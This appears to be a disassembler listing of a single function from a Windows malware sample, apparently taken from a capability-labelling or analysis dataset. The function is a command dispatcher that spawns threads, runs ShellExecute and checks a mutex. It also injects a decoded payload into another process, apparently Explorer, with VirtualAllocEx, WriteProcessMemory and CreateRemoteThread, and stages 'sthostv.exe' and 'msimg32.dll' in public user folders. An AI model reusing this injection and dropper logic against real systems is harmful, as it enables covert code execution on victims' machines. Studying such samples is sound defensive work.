Function at 0x102127af
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x103b28f0
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1190c
call fcn.101387bb
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x1131c]
mov ecx, 0x44c3
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x1042cac0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ecx
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
mov dword [ebp - 0x1191c], eax
cmp dword [ebp - 0x1191c], 0xc3
ja case.0x1021241f.2
mov ecx, dword [ebp - 0x1191c]
movzx edx, byte [ecx + 0x1021340c]
jmp dword [edx*4 + 0x102133a0]
mov eax, 1
mov ecx, dword [ebp - 0x1c]
add ecx, 0x9e90
xchg dword [ecx], eax
jmp case.0x1021241f.2
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x1013a3f4
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x10139189
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 1
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x1013bac9
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 1
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x1013f467
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 1
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x1013bd58
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 1
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x10138ed7
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 1
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x1013ff20
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 1
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x1013d3ab
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 1
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x10140268
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x1013963e
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 0x10138e19
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
jmp case.0x1021241f.2
push 1
push 0
push 0
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x101372d5
push 0
push 0
call fcn.1013f1fb
add esp, 0x1c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x9e8c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + edx*4 + 0x24c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x9e8c]
add eax, 1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x9e8c], eax
mov esi, esp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.1013ca23
jmp case.0x1021241f.2
mov esi, esp
push 0
push 0
mov eax, 1
shl eax, 0
add eax, dword [ebp + 8]
push eax
push 0x1013e12a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.1013ca23
jmp case.0x1021241f.2
mov esi, esp
push 3
push 0
push 0
mov eax, dword [ebp + 8]
add eax, 1
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp esi, esp
call fcn.1013ca23
jmp case.0x1021241f.2
mov esi, esp
push 4
push 0x1000
mov eax, dword [ebp + 0xc]
sub eax, 1
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
sub eax, 1
push eax
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.1013ea03
add esp, 0xc
push 4
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x34]
push ecx
call fcn.1013ea03
add esp, 0xc
mov eax, dword [ebp - 0x28]
add eax, 4
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x4c], 0x103c6f90
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
call fcn.1013ca5a
add esp, 8
mov dword [ebp - 0x58], eax
mov esi, esp
push 0x103c6f94
mov eax, dword [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x102128be
mov dword [ebp - 0x64], 0
jmp 0x102128c5
mov dword [ebp - 0x64], 1
mov eax, dword [ebp - 0x4c]
push eax
push 0
call fcn.1013ca5a
add esp, 8
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
call fcn.10139dd7
add esp, 4
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x4c]
push eax
push 0
call fcn.1013ca5a
add esp, 8
mov dword [ebp - 0x58], eax
mov esi, esp
mov eax, dword [ebp - 0x58]
push eax
lea ecx, [ebp - 0x10c8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.1013ca23
mov eax, dword [ebp - 0x4c]
push eax
push 0
call fcn.1013ca5a
add esp, 8
mov dword [ebp - 0x58], eax
mov esi, esp
mov eax, dword [ebp - 0x58]
push eax
lea ecx, [ebp - 0x89c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.1013ca23
mov eax, dword [ebp - 0x4c]
push eax
push 0
call fcn.1013ca5a
add esp, 8
mov dword [ebp - 0x58], eax
mov esi, esp
mov eax, dword [ebp - 0x58]
push eax
lea ecx, [ebp - 0x110d0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push 0x103c6f9c
lea eax, [ebp - 0x110d0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
cmp esi, esp
call fcn.1013ca23
test eax, eax
je 0x102129ef
lea eax, [ebp - 0x89c]
mov dword [ebp - 0x110fc], eax
lea eax, [ebp - 0x110d0]
mov dword [ebp - 0x110f8], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x110f4], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x110f0], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x110ec], eax
lea eax, [ebp - 0x10c8]
mov dword [ebp - 0x110e8], eax
mov esi, esp
push 0
push 0
lea eax, [ebp - 0x110fc]
push eax
push fcn.10138d2e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x110dc], eax
jmp 0x10212a39
lea eax, [ebp - 0x89c]
mov dword [ebp - 0x1111c], eax
mov dword [ebp - 0x11118], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x11114], eax
mov dword [ebp - 0x11110], 0
mov dword [ebp - 0x1110c], 0
xor eax, eax
mov dword [ebp - 0x11108], eax
lea eax, [ebp - 0x1111c]
push eax
call fcn.10138d2e
add esp, 4
jmp case.0x1021241f.2
mov esi, esp
mov eax, dword [0x10456794]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.1013ca23
test eax, eax
je 0x10212a75
mov esi, esp
push str.GlobalWinMain
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x10212a75
jmp case.0x1021241f.76
mov esi, esp
push 0
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, esp
call fcn.1013ca23
mov edi, esp
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp edi, esp
call fcn.1013ca23
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp esi, esp
call fcn.1013ca23
jmp case.0x1021241f.2
call fcn.1013a54d
jmp case.0x1021241f.2
mov eax, 1
shl eax, 0
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + eax]
push edx
call fcn.10138c43
add esp, 4
jmp case.0x1021241f.2
mov eax, dword [ebp + 8]
add eax, 1
push eax
call fcn.1013a106
add esp, 4
jmp case.0x1021241f.2
push str.BITS
mov eax, dword [ebp + 8]
add eax, 1
push eax
push str.Group
call fcn.101373e3
add esp, 0xc
jmp case.0x1021241f.2
mov eax, dword [ebp + 8]
add eax, 1
push eax
call fcn.1013886a
add esp, 4
jmp case.0x1021241f.2
push 0x103c6fc8
call fcn.10138f18
add esp, 4
mov esi, esp
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp esi, esp
call fcn.1013ca23
jmp case.0x1021241f.2
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
add eax, 1
push eax
call fcn.1013b637
add esp, 4
mov dword [ebp - 0x1191c], eax
cmp dword [ebp - 0x1191c], 0
je 0x10212b89
mov byte [ebp - 0x11125], 0x88
push 1
lea eax, [ebp - 0x11125]
push eax
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + 4]
call fcn.1013fe9e
jmp 0x10212ba4
mov byte [ebp - 0x11131], 0x89
push 1
lea eax, [ebp - 0x11131]
push eax
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + 4]
call fcn.1013fe9e
jmp 0x10212bac
mov dword [ebp - 4], 0xffffffff
jmp 0x10212bbc
jmp case.0x1021241f.2
mov dword [ebp - 4], 2
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x10455a80
call fcn.1013c181
add esp, 8
mov esi, esp
push 0
push 0x10138cf7
call dword [sym.imp.USER32.dll_EnumWindows]
cmp esi, esp
call fcn.1013ca23
cmp dword [0x10455e80], 0
je 0x10212c22
mov byte [ebp - 0x1113d], 0x88
push 1
lea eax, [ebp - 0x1113d]
push eax
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + 4]
call fcn.1013fe9e
mov dword [0x10455e80], 0
jmp 0x10212c3d
mov byte [ebp - 0x11149], 0x89
push 1
lea eax, [ebp - 0x11149]
push eax
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + 4]
call fcn.1013fe9e
jmp 0x10212c45
mov dword [ebp - 4], 0xffffffff
jmp 0x10212c55
jmp case.0x1021241f.2
mov dword [ebp - 0x11158], 0
mov dword [ebp - 0x11164], 0
lea eax, [ebp - 0x11164]
push eax
lea ecx, [ebp - 0x11158]
push ecx
push 1
push 0
push 0
call fcn.1013be4d
mov esi, esp
push str.C:UsersPublicmsimg32.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x111ac], 0
jmp 0x10212cb6
mov eax, dword [ebp - 0x111ac]
add eax, 1
mov dword [ebp - 0x111ac], eax
mov eax, dword [ebp - 0x111ac]
cmp eax, dword [ebp - 0x11164]
jae 0x10213189
imul eax, dword [ebp - 0x111ac], 0xc
add eax, dword [ebp - 0x11158]
mov ecx, dword [eax]
mov dword [ebp - 0x111a0], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x1119c], edx
mov eax, dword [eax + 8]
mov dword [ebp - 0x11198], eax
mov eax, dword [ebp - 0x111a0]
mov dword [ebp - 0x111b8], eax
cmp dword [ebp - 0x11198], 0
jne 0x10213184
lea eax, [ebp - 0x1118c]
push eax
push str.OpenMutexA:__s_n
call fcn.1013e508
add esp, 8
push 0x103c6d14
call fcn.101382e8
add esp, 4
mov dword [ebp - 0x111d0], eax
mov esi, esp
mov eax, dword [ebp - 0x111d0]
push eax
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x111dc], eax
mov esi, esp
lea eax, [ebp - 0x111c4]
push eax
push 0x201eb
mov ecx, dword [ebp - 0x111dc]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x10212daf
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x111e8], eax
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.fail_OpenProcessToken_error_:__d_n
call fcn.1013e508
add esp, 8
jmp 0x10212ca7
mov eax, dword [ebp - 0x111c4]
push eax
mov ecx, dword [ebp - 0x111dc]
push ecx
mov edx, dword [ebp - 0x111d0]
push edx
push str.dwExplorerPID:__d__hExplorer:__d__hPToken1:_d_n
call fcn.1013e508
add esp, 0x10
push 0x44
push 0
lea eax, [ebp - 0x1124c]
push eax
call fcn.1013a813
add esp, 0xc
mov dword [ebp - 0x1124c], 0x44
xor eax, eax
mov dword [ebp - 0x11914], eax
mov dword [ebp - 0x11910], eax
mov dword [ebp - 0x1190c], eax
mov dword [ebp - 0x11908], eax
mov ecx, dword [ebp - 0x11914]
mov dword [ebp - 0x11200], ecx
mov edx, dword [ebp - 0x11910]
mov dword [ebp - 0x111fc], edx
mov eax, dword [ebp - 0x1190c]
mov dword [ebp - 0x111f8], eax
mov ecx, dword [ebp - 0x11908]
mov dword [ebp - 0x111f4], ecx
push 0x30
mov eax, dword [ebp - 0x111b8]
push eax
lea ecx, [ebp - 0x1124c]
push ecx
lea edx, [ebp - 0x11200]
push edx
push str.C:UsersPublic
push str._f_at.mdb
push str.C:UsersPublic_sthostv.exe
mov eax, dword [ebp - 0x111c4]
push eax
call fcn.1013a142
mov dword [ebp - 0x11258], eax
mov esi, esp
push 0x40
push 0x1000
push 0x253
push 0
mov eax, dword [ebp - 0x11200]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x11264], eax
cmp dword [ebp - 0x11264], 0
jne 0x10212ec2
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.VirtualAllocEx_error:_d_n
call fcn.1013e508
add esp, 8
jmp 0x10212ed6
mov eax, dword [ebp - 0x11264]
push eax
push str.lpBassAddress_:_x_n
call fcn.1013e508
add esp, 8
mov dword [ebp - 0x11270], 0
mov esi, esp
lea eax, [ebp - 0x11270]
push eax
push 0x253
push 0x1042a020
mov ecx, dword [ebp - 0x11264]
push ecx
mov edx, dword [ebp - 0x11200]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x10212f31
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.WriteProcessMemory_error:_d_n
call fcn.1013e508
add esp, 8
jmp 0x10212f45
mov eax, dword [ebp - 0x11270]
push eax
push str.dwNumberOfBytesWritten:_d_n
call fcn.1013e508
add esp, 8
lea eax, [ebp - 0x112a8]
push eax
push str.C:UsersPublic_at.mdb
call fcn.10215bc0
add esp, 8
mov eax, dword [ebp - 0x11294]
mov dword [ebp - 0x112b4], eax
mov eax, dword [ebp - 0x112b4]
push eax
call fcn.101379dd
add esp, 4
mov dword [ebp - 0x112c0], eax
push 0x103c712c
push str.C:UsersPublic_at.mdb
call fcn.1013fd3b
add esp, 8
mov dword [ebp - 0x112cc], eax
mov eax, dword [ebp - 0x112cc]
push eax
push 1
mov ecx, dword [ebp - 0x112b4]
push ecx
mov edx, dword [ebp - 0x112c0]
push edx
call fcn.1013e67a
add esp, 0x10
mov dword [ebp - 0x112d8], 0
jmp 0x10212fcc
mov eax, dword [ebp - 0x112d8]
add eax, 1
mov dword [ebp - 0x112d8], eax
mov eax, dword [ebp - 0x112d8]
cmp eax, dword [ebp - 0x112b4]
jae 0x10213005
mov eax, dword [ebp - 0x112c0]
add eax, dword [ebp - 0x112d8]
mov dword [ebp - 0x112e4], eax
mov eax, dword [ebp - 0x112e4]
movzx ecx, byte [eax]
sub ecx, 1
xor ecx, 0x19
mov edx, dword [ebp - 0x112e4]
mov byte [edx], cl
jmp 0x10212fbd
mov eax, dword [ebp - 0x112cc]
push eax
call fcn.10139bc0
add esp, 4
mov esi, esp
push 0x40
push 0x1000
mov eax, dword [ebp - 0x112b4]
push eax
push 0
mov ecx, dword [ebp - 0x11200]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x112f0], eax
cmp dword [ebp - 0x112f0], 0
jne 0x10213068
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.VirtualAllocEx_error:_d_n
call fcn.1013e508
add esp, 8
jmp 0x1021307c
mov eax, dword [ebp - 0x112f0]
push eax
push str.lpArguAddress_:_x_n
call fcn.1013e508
add esp, 8
mov dword [ebp - 0x11270], 0
mov esi, esp
lea eax, [ebp - 0x11270]
push eax
mov ecx, dword [ebp - 0x112b4]
push ecx
mov edx, dword [ebp - 0x112c0]
push edx
mov eax, dword [ebp - 0x112f0]
push eax
mov ecx, dword [ebp - 0x11200]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x102130db
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.WriteProcessMemory_error:_d_n
call fcn.1013e508
add esp, 8
jmp 0x102130ef
mov eax, dword [ebp - 0x11270]
push eax
push str.dwNumberOfBytesWritten:_d_n
call fcn.1013e508
add esp, 8
mov eax, dword [ebp - 0x112c0]
push eax
call fcn.1013c3cf
add esp, 4
mov dword [ebp - 0x112fc], 0
mov esi, esp
lea eax, [ebp - 0x112fc]
push eax
push 0
mov ecx, dword [ebp - 0x112f0]
push ecx
mov edx, dword [ebp - 0x11264]
push edx
push 0
push 0
mov eax, dword [ebp - 0x11200]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x1021315c
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.___fail_CreateRemoteThread_error:_d_n
call fcn.1013e508
add esp, 8
jmp 0x10213170
mov eax, dword [ebp - 0x112fc]
push eax
push str.__success_CreateRemoteThread_dwThreadId_x_n
call fcn.1013e508
add esp, 8
mov eax, dword [ebp - 0x11258]
push eax
push 0x103c71ac
call fcn.1013e508
add esp, 8
jmp 0x10212ca7
mov esi, esp
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push 0
push str.C:UsersPublicmsimg32.dll
push str.C:UsersAll_Usersmsimg32.dll
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp esi, esp
call fcn.1013ca23
push edx
mov ecx, ebp
push eax
lea edx, [0x102131f4]
call fcn.1013bc63
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1013a69c
add esp, 0x1191c
cmp ebp, esp
call fcn.1013ca23
mov esp, ebp
pop ebp
ret 8